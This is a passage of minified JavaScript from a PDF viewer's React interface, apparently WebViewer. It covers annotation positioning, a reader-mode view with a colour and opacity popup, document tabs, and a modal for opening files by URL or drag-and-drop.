window.Annotations.StickyAnnotation,c=e.getRect(),f=u?window.Annotations.StickyAnnotation.SIZE:c.getWidth(),d=u?window.Annotations.StickyAnnotation.SIZE:c.getHeight(),p=vt.getCompleteRotation(e.PageNumber);0===p?(s.x=l.x+f,s.y=l.y+d,u&&(s.x+=.2*f)):u?(s.x=l.x+1.2*f,s.y=l.y+d):1===p?(l.x=s.x-d,s.y=l.y+f):2===p?(l.x=s.x-f,l.y=s.y-d):3===p&&(l.y=s.y-f,s.x=l.x+d)}return{topLeft:l,bottomRight:s}},Iw=function(e){var t=e.getRect(),n=t.x1,r=t.y1,o=t.x2,i=t.y2,a=e instanceof window.Annotations.StickyAnnotation,l=window.Annotations.StickyAnnotation.SIZE,s=vt.getCompleteRotation(e.PageNumber);if(1===s){var u=[i,r];r=u[0],i=u[1],a&&(r-=l,i-=l)}else if(2===s){var c=[o,n];n=c[0],o=c[1];var f=[i,r];r=f[0],i=f[1],a&&(r-=l,i-=l,n-=l,o-=l)}else if(3===s){var d=[o,n];n=d[0],o=d[1],a&&(n-=l,o-=l)}return{left:n,top:r,right:o,bottom:i}},Nw=function(e){var t=Dw(e),n=t.startPageNumber,r=t.endPageNumber,o=Fw(e,n,r),i=o.left,a=o.right,l=o.top,s=o.bottom,u=Bw(i,l,n),c=Bw(a,s,r);if(vt.getRotation()>1){var f=u;u=c,c=f}return{topLeft:u,bottomRight:c}},Dw=function(e){var t=Object.keys(e).map((function(e){return Number(e)}));return{startPageNumber:Math.min.apply(Math,Mw(t)),endPageNumber:Math.max.apply(Math,Mw(t))}},Fw=function(e,t,n){var r=function(){var r=e[t][0].y3,o=e[n];return{top:r,bottom:o[o.length-1].y1}}(),o=r.top,i=r.bottom,a=function(){var t,n;return Object.keys(e).forEach((function(r){e[r].forEach((function(e){var r=e.x1,o=e.x2;(!t||r<t)&&(t=r),(!n||o>n)&&(n=o)}))})),{left:t,right:n}}();return{left:a.left,top:o,bottom:i,right:a.right}},Bw=function(e,t,n){return vt.getDisplayModeObject().pageToWindow({x:e,y:t},n)},Hw=function(e){var t=e.current.getBoundingClientRect();return{width:t.width,height:t.height}},Vw=function(e,t){var n=Gw(e,t);return{left:Uw(e,t),top:n}},zw=function(e,t){var n=Gw(e,t);return{left:Uw(e,t),top:n}},Uw=function(e,t){var n=e.topLeft,r=e.bottomRight,o=t.width,i=vt.getScrollViewElement().scrollLeft,a=(n.x+r.x)/2-i-o/2;return a<0?a=0:a+o>window.innerWidth&&(a=window.innerWidth-o),Math.round(a)},Gw=function(e,t){var n,r=e.topLeft,o=e.bottomRight,i=t.height,a=vt.getScrollViewElement(),l=a.getBoundingClientRect(),s=(l.left,a.scrollLeft,l.left,a.scrollLeft,l.width,l.top+a.scrollTop),u=l.top+a.scrollTop+l.height,c=r.y-17,f=o.y+17;return n=f+i<u?f:c-i>s?c-i:c>u-f?s+5:u-5-i,Math.round(n-a.scrollTop)};n(976);function Ww(){return(Ww=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function qw(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Zw(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Zw(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Zw(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Yw=function(e){var t=qw(Object(l.useState)({}),2),n=t[0],r=t[1],o=Object(l.useRef)(null);return Object(l.useEffect)((function(){r(function(e,t,n){var r=t.current.getBoundingClientRect(),o=r.width,i=r.height,a=n.current.getBoundingClientRect(),l=5,s=e.top-17,u=e.bottom+17;u+i<a.height?l=u:s>i&&(l=s-i),l=Math.round(l+a.top);var c=parseFloat(n.current.firstChild.style.paddingLeft),f=(e.left+e.right)/2+c-o/2;return f<0?f=0:f+o>a.width&&(f=a.width-o),{top:l,left:f=Math.round(f+a.left)}}(e.annotPosition,o,e.viewer))}),[]),yp(o,(function(){var t=vb(),n=yb();t||n||e.onClose()})),s.a.createElement(ym.a,{cancel:".Button, .cell, .sliders-container svg, select"},s.a.createElement("div",{className:"ReaderModeStylePopup",style:n,ref:o},s.a.createElement(ub,Ww({},e,{disableSeparator:!0}))))};function $w(e){return($w="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Kw(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Xw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Kw(Object(n),!0).forEach((function(t){oE(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Kw(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function Qw(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Jw(e,t){return(Jw=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function eE(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=rE(e);if(t){var o=rE(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return tE(this,n)}}function tE(e,t){if(t&&("object"===$w(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return nE(e)}function nE(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function rE(e){return(rE=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function oE(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var iE=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Jw(e,t)}(a,e);var t,r,o,i=eE(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),oE(nE(t=i.call(this,e)),"renderDocument",(function(){n.e(2).then(n.t.bind(null,1385,7)).then((function(e){var n=e.default;t.wvReadingMode?t.wvReadingMode.unmount():t.wvReadingMode=n.initialize(PDFNet),t.wvReadingMode.render(vt.getDocumentViewer().getDocument().getPDFDoc(),t.viewer.current,{pageNumberUpdateHandler:vt.setCurrentPage,pageNum:vt.getCurrentPage(),editStyleHandler:t.onEditStyle}),t.setZoom(vt.getZoom()),t.setAddAnnotConfig()}))})),oE(nE(t),"goToPage",(function(e){var n;null===(n=t.wvReadingMode)||void 0===n||n.goToPage(e)})),oE(nE(t),"setZoom",(function(e){if(t.wvReadingMode){t.wvReadingMode.setZoom(e);var n=vt.getDocumentViewer().getPageWidth(1),r=t.viewer.current.firstChild;n&&r&&(r.style.padding="0 ".concat((t.props.containerWidth-n*e)/2,"px"))}})),oE(nE(t),"getAnnotTypeFromToolMode",(function(e){return e instanceof window.Core.Tools.TextHighlightCreateTool?WebViewerReadingMode.AnnotationType.Highlight:e instanceof window.Core.Tools.TextUnderlineCreateTool?WebViewerReadingMode.AnnotationType.Underline:e instanceof window.Core.Tools.TextStrikeoutCreateTool?WebViewerReadingMode.AnnotationType.Strikeout:e instanceof window.Core.Tools.TextSquigglyCreateTool?WebViewerReadingMode.AnnotationType.Squiggly:void 0})),oE(nE(t),"setAddAnnotConfig",(function(){if(t.wvReadingMode){var e=vt.getToolMode(),n=t.getAnnotTypeFromToolMode(e);n?t.wvReadingMode.setAddAnnotConfig({type:n,color:e.defaults.StrokeColor.toHexString(),opacity:e.defaults.Opacity}):t.wvReadingMode.setAddAnnotConfig({type:void 0})}})),oE(nE(t),"onEditStyle",(function(e,n,r){var o=e.color,i=e.opacity,a=e.type,l=e.position;t.setAnnotStyleCb=n,t.doneSetAnnotColorCb=r,t.setState({colorMapKey:t.getColorMapKey(a),style:{StrokeColor:new window.Core.Annotations.Color(o),Opacity:i},showStylePopup:!0,annotPosition:l})})),oE(nE(t),"handleColorChange",(function(e,n){"StrokeColor"===e&&t.setAnnotStyleCb&&(t.setAnnotStyleCb({color:n.toHexString(),opacity:t.state.style.Opacity}),t.setState({style:Xw(Xw({},t.state.style),{},{StrokeColor:n})}))})),oE(nE(t),"handleOpacityChange",(function(e,n){"Opacity"===e&&t.setAnnotStyleCb&&(t.setAnnotStyleCb({color:t.state.style.StrokeColor.toHexString(),opacity:n}),t.setState({style:Xw(Xw({},t.state.style),{},{Opacity:n})}))})),oE(nE(t),"handleStylePopupClose",(function(){t.setState({showStylePopup:!1}),t.doneSetAnnotColorCb()})),t.viewer=s.a.createRef(),t.originalMaxZoom=Qt(),t.setAnnotStyleCb=void 0,t.doneSetAnnotColorCb=void 0,t.originalEnableFadePageNavigation=e.enableFadePageNavigation,t.state={colorMapKey:void 0,showStylePopup:!1,style:void 0,annotPosition:void 0},t}return t=a,(r=[{key:"componentDidMount",value:function(){this.props.containerWidth>0&&this.updateMaxZoom(),this.props.dispatch(Ps.disableFadePageNavigationComponent()),this.renderDocument(),vt.addEventListener("documentLoaded",this.renderDocument),vt.addEventListener("pageNumberUpdated",this.goToPage),vt.addEventListener("zoomUpdated",this.setZoom),vt.addEventListener("toolUpdated",this.setAddAnnotConfig),vt.addEventListener("toolModeUpdated",this.setAddAnnotConfig)}},{key:"componentWillUnmount",value:function(){var e;vt.removeEventListener("documentLoaded",this.renderDocument),vt.removeEventListener("pageNumberUpdated",this.goToPage),vt.removeEventListener("zoomUpdated",this.setZoom),vt.removeEventListener("toolUpdated",this.setAddAnnotConfig),vt.removeEventListener("toolModeUpdated",this.setAddAnnotConfig),null===(e=this.wvReadingMode)||void 0===e||e.unmount(),Pw(this.props.dispatch)(this.originalMaxZoom),this.originalEnableFadePageNavigation?this.props.dispatch(Ps.enableFadePageNavigationComponent()):this.props.dispatch(Ps.disableFadePageNavigationComponent())}},{key:"componentDidUpdate",value:function(e){this.props.containerWidth>0&&e.containerWidth!==this.props.containerWidth&&this.updateMaxZoom()}},{key:"render",value:function(){return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"reader-mode-viewer",ref:this.viewer,style:{height:"100%",width:"100%"}}),this.state.showStylePopup&&s.a.createElement(Yw,{colorMapKey:this.state.colorMapKey,style:this.state.style,onStyleChange:this.handleColorChange,onSliderChange:this.handleOpacityChange,onClose:this.handleStylePopupClose,annotPosition:this.state.annotPosition,viewer:this.viewer}))}},{key:"updateMaxZoom",value:function(){var e=vt.getDocumentViewer().FitMode.FitWidth.call(vt.getDocumentViewer());Pw(this.props.dispatch)(e),e<vt.getZoom()&&vt.fitToWidth(),this.setZoom(vt.getZoom())}},{key:"getColorMapKey",value:function(e){return e===WebViewerReadingMode.AnnotationType.Highlight?"highlight":e===WebViewerReadingMode.AnnotationType.Underline?"underline":e===WebViewerReadingMode.AnnotationType.Strikeout?"strikeout":e===WebViewerReadingMode.AnnotationType.Squiggly?"squiggly":""}}])&&Qw(t.prototype,r),o&&Qw(t,o),Object.defineProperty(t,"prototype",{writable:!1}),a}(s.a.PureComponent);oE(iE,"propTypes",{containerWidth:Is.a.number.isRequired,enableFadePageNavigation:Is.a.bool.isRequired});var aE=Q((function(e){return{containerWidth:fi.getDocumentContainerWidth(e),enableFadePageNavigation:fi.shouldFadePageNavigationComponent(e)}}))(iE);n(977),n(978),n(979);function lE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return sE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return sE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function sE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var uE={tab:Is.a.any.isRequired,isActive:Is.a.bool,isToLeftOfActive:Is.a.bool,closeTab:Is.a.func,setActive:Is.a.func,onDragStart:Is.a.func,onDragOver:Is.a.func,onDragLeave:Is.a.func,id:Is.a.string},cE=function(e){var t=e.tab,n=e.setActive,r=e.onDragLeave,o=e.onDragStart,i=e.onDragOver,a=e.isActive,u=e.closeTab,c=e.id,f=e.isToLeftOfActive,d=lE(Object(l.useState)(null==t?void 0:t.disabled),2),p=d[0],h=d[1],m=t.options.filename.split(".")[0];return Object(l.useEffect)((function(){t&&t.disabled!==p&&h(t.disabled)}),[t]),s.a.createElement("div",{className:"draggable-tab",onDragOver:i,onDragStart:o,onDragLeave:r,draggable:!0,id:c},s.a.createElement("div",{className:js()({Tab:!0,active:a})},s.a.createElement("div",{className:js()({"file-text":!0,disabled:p}),onClick:n},s.a.createElement("p",null,m)),s.a.createElement(bf,{img:"icon-close",title:"action.close",onClick:u}),!a&&!f&&s.a.createElement("div",{className:"divider"})))};cE.propTypes=uE;var fE=cE,dE=(n(980),function(e){var t=e.onDragOver,n=e.onDragLeave;return s.a.createElement("div",{className:"HoverTab",onDragOver:t,onDragLeave:n},s.a.createElement(cf,{glyph:"icon-download"}))});n(981);function pE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return hE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return hE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function hE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var mE=function(e){var t=e.defaultValue,n=e.onFileSelect,r=e.acceptFormats,o=e.extension,i=e.setExtension,a=pE(Ks(),1)[0],u=pE(Object(l.useState)(t||""),2),c=u[0],f=u[1];return Object(l.useEffect)((function(){t||t===c||f("")})),s.a.createElement("div",{className:"FileInputPanel"},s.a.createElement("div",{className:"url-input-header"},a("link.url")),s.a.createElement("div",{className:"url-input"},s.a.createElement("input",{type:"text",style:{width:"100%",height:32,paddingLeft:8,fontSize:13,boxSizing:"border-box"},value:c,onChange:function(e){f(e.target.value),n(e.target.value)},placeholder:a("link.urlLink")})),i?s.a.createElement("div",{className:"extension-dropdown"},s.a.createElement(ky,{disabled:!c,placeholder:a("tool.select"),onClick:function(e){return e.stopPropagation()},items:r,onClickItem:i,currentSelectionKey:o}),s.a.createElement("p",null,a("OpenFile.extension"))):null)};n(982);function gE(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function vE(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){gE(i,r,o,a,l,"next",e)}function l(e){gE(i,r,o,a,l,"throw",e)}a(void 0)}))}}function yE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return bE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return bE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function bE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var wE=function(e){var t=e.onFileProcessed,n=yE(Ks(),1)[0],r=yE(Object(l.useState)(!1),2),o=r[0],i=r[1],a=yE(Object(l.useState)(""),2),u=a[0],c=a[1],f=window.Core.SupportedFileFormats.CLIENT,d=function(){var e=vE(regeneratorRuntime.mark((function e(n){var r,o;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(n.preventDefault(),i(!1),r=n.dataTransfer.files,o=r[0],!(r.length>1)){e.next=8;break}return e.next=7,p(r);case 7:o=e.sent;case 8:t(o);case 9:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}();function p(e){return h.apply(this,arguments)}function h(){return(h=vE(regeneratorRuntime.mark((function e(t){var n,r,o=arguments;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:return n=o.length>1&&void 0!==o[1]?o[1]:1,r=o.length>2&&void 0!==o[2]?o[2]:null,e.abrupt("return",new Promise(function(){var e=vE(regeneratorRuntime.mark((function e(o,i){var a,l,s,u;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(r){e.next=4;break}return e.next=3,vt.createDocument(t[0]);case 3:r=e.sent;case 4:return e.next=6,vt.createDocument(t[n]);case 6:a=e.sent,l=a.getPageCount(),s=Array.from({length:l},(function(e,t){return t+1})),u=r.getPageCount()+1,r.insertPages(a,s,u).then((function(e){return o({next:t.length-1>n,document:r})}));case 11:case"end":return e.stop()}}),e)})));return function(t,n){return e.apply(this,arguments)}}()).then((function(e){return e.next?p(t,n+1,e.document):e.document})).catch((function(e){c(e)})));case 3:case"end":return e.stop()}}),e)})))).apply(this,arguments)}return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"image-signature"},s.a.createElement("div",{className:"image-signature-upload-container",onDragEnter:function(e){e.preventDefault(),i(!0)},onDragLeave:function(e){e.preventDefault(),e.target.parentNode.contains(e.relatedTarget)||i(!1)},onDragOver:function(e){e.preventDefault()},onDrop:d,onDragExit:function(e){e.preventDefault(),i(!1)}},s.a.createElement("div",{className:"FilePickerPanel"},s.a.createElement("div",{className:"md-row"},n("option.pageReplacementModal.dragAndDrop")),s.a.createElement("div",{className:"md-row label-separator"},n("option.pageReplacementModal.or")),s.a.createElement("div",{className:"md-row modal-btn-file",tabIndex:"0",onKeyDown:function(e){"Enter"===e.key&&document.getElementById("file-picker-two").click()},onClick:function(){document.getElementById("file-picker-two").click()}},n("option.pageReplacementModal.chooseFile"),s.a.createElement("input",{id:"file-picker-two",style:{display:"none"},type:"file",accept:f.map((function(e){return".".concat(e)})).join(", "),onChange:function(e){var n=e.target.files;n.length&&t(n[0])}}))),o&&s.a.createElement("div",{className:"image-signature-background"}),u&&s.a.createElement("div",{className:"image-signature-error"},u))))};n(192),n(983);function EE(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function SE(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){EE(i,r,o,a,l,"next",e)}function l(e){EE(i,r,o,a,l,"throw",e)}a(void 0)}))}}function CE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return xE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return xE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function xE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var OE=function(e){var t=e.isOpen,n=e.tabManager,r=Ks().t,o=re(),i=CE(Object(l.useState)(""),2),a=i[0],u=i[1],c=CE(Object(l.useState)("pdf"),2),f=c[0],d=c[1],p=CE(Object(l.useState)(),2),h=p[0],m=p[1],g=CE(Object(l.useState)(),2),v=g[0],y=g[1],b=CE(Object(l.useState)({fileError:"",urlError:"",extensionError:""}),2),w=b[0],E=b[1],S=function(){o(Ps.closeElement("OpenFileModal")),u(""),E({fileError:"",urlError:""}),m(null),d("pdf"),y(null)};Object(l.useEffect)((function(){t?o(Ps.closeElements(["printModal","loadingModal","progressModal","errorModal","Model3DModal"])):(u(""),E({fileError:"",urlError:""}),m(null),d(null),y(null))}),[o,t]);var C=function(){var e=SE(regeneratorRuntime.mark((function e(t,r,o,i){var a;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(t){e.next=2;break}return e.abrupt("return",E({urlError:"URL or File must be provided"}));case 2:if(r&&-1!==T.indexOf(r)){e.next=4;break}return e.abrupt("return",E({extensionError:"Extension must be provided"}));case 4:return a=!i||Th.MAX_FILE_SIZE>i,e.next=7,n.addTab(t,{extension:r,filename:o,setActive:!0,saveCurrentActiveTabState:!0,useDB:a});case 7:S();case 8:case"end":return e.stop()}}),e)})));return function(t,n,r,o){return e.apply(this,arguments)}}(),x=js()({Modal:!0,FileModal:!0,open:t,closed:!t}),O=/(?:\.([^.?]+))?$/,A=function(){var e=SE(regeneratorRuntime.mark((function e(t){var n,r,o,i;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(E(null),t){e.next=3;break}return e.abrupt("return");case 3:if(!(t instanceof window.Core.Document)){e.next=6;break}return e.next=6,C(t,t.type,t.filename);case 6:return n=window.Core.mimeTypeToExtension[t.type]||O.exec(t.name)[1]||null,r=t.name,o=t.size,i=URL.createObjectURL(t),u(i),m(r),d(n),y(o),e.next=16,C(t,n,r,o);case 16:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),_=function(){var e=SE(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:E(null),u(t.trim()),n=t.substring(t.lastIndexOf("/")+1).split("?")[0],m(n),d(O.exec(n)[1]),y(null);case 6:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}(),T=!!lh("webviewerServerURL",null)?window.Core.SupportedFileFormats.SERVER:window.Core.SupportedFileFormats.CLIENT;return T=T.reduce((function(e,t){return-1===e.indexOf(t)&&e.push(t),e}),[]),s.a.createElement(Op,{onSwipedUp:S,onSwipedDown:S},s.a.createElement("div",{className:x,"data-element":"OpenFileModal",onMouseDown:S},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement(xb,{className:"page-replacement-tabs",id:"pageReplacementModal"},s.a.createElement("div",{className:"header-container"},s.a.createElement("div",{className:"header"},s.a.createElement("p",null,r("OpenFile.enterUrlOrChooseFile")),s.a.createElement(bf,{img:"icon-close",onClick:S,dataElement:"UNKNOWN"})),s.a.createElement("div",{className:"tab-list"},s.a.createElement(Ob,{dataElement:"urlInputPanelButton"},s.a.createElement("button",{className:"tab-options-button"},r("link.url"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"filePickerPanelButton"},s.a.createElement("button",{className:"tab-options-button"},r("option.pageReplacementModal.localFile"))))),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement(_b,{dataElement:"urlInputPanel"},s.a.createElement("div",{className:"panel-body"},s.a.createElement(mE,{onFileSelect:function(e){_(e)},acceptFormats:T,extension:f,setExtension:d,defaultValue:a}))),s.a.createElement(_b,{dataElement:"filePickerPanel"},s.a.createElement("div",{className:"panel-body"},s.a.createElement(wE,{onFileProcessed:function(e){return A(e)}})))),s.a.createElement("div",{className:"page-replacement-divider"}),s.a.createElement("div",{className:"footer"},(null==w?void 0:w.urlError)&&s.a.createElement("p",{className:"error"},"* ",w.urlError),(null==w?void 0:w.fileError)&&s.a.createElement("p",{className:"error"},"* ",w.fileError),(null==w?void 0:w.extensionError)&&s.a.createElement("p",{className:"error"},"* ",w.extensionError),s.a.createElement(bf,{className:"modal-btn",dataElement:"linkSubmitButton",label:r("OpenFile.addTab"),style:{width:90},onClick:function(){return C(a,f,h,v)}})))))};function AE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return _E(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return _E(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function _E(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var TE=function(){var e=AE(le((function(e){return[fi.isElementDisabled(e,"OpenFileModal"),fi.isElementOpen(e,"OpenFileModal"),fi.getTabManager(e)]})),3),t=e[0],n=e[1],r=e[2];return t?null:s.a.createElement(OE,{isOpen:n,tabManager:r})};n(984);function kE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return PE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return PE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function PE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var ME={tab:Is.a.any.isRequired,isActive:Is.a.bool,closeTab:Is.a.func,setActive:Is.a.func,onDragStart:Is.a.func,onDragOver:Is.a.func,onDragLeave:Is.a.func,id:Is.a.string},RE=function(e){var t=e.tab,n=e.setActive,r=e.onDragStart,o=e.closeTab,i=e.id,a=kE(Object(l.useState)(null==t?void 0:t.disabled),2),u=a[0],c=a[1],f=t.options.filename.split(".")[0];return Object(l.useEffect)((function(){c(null==t?void 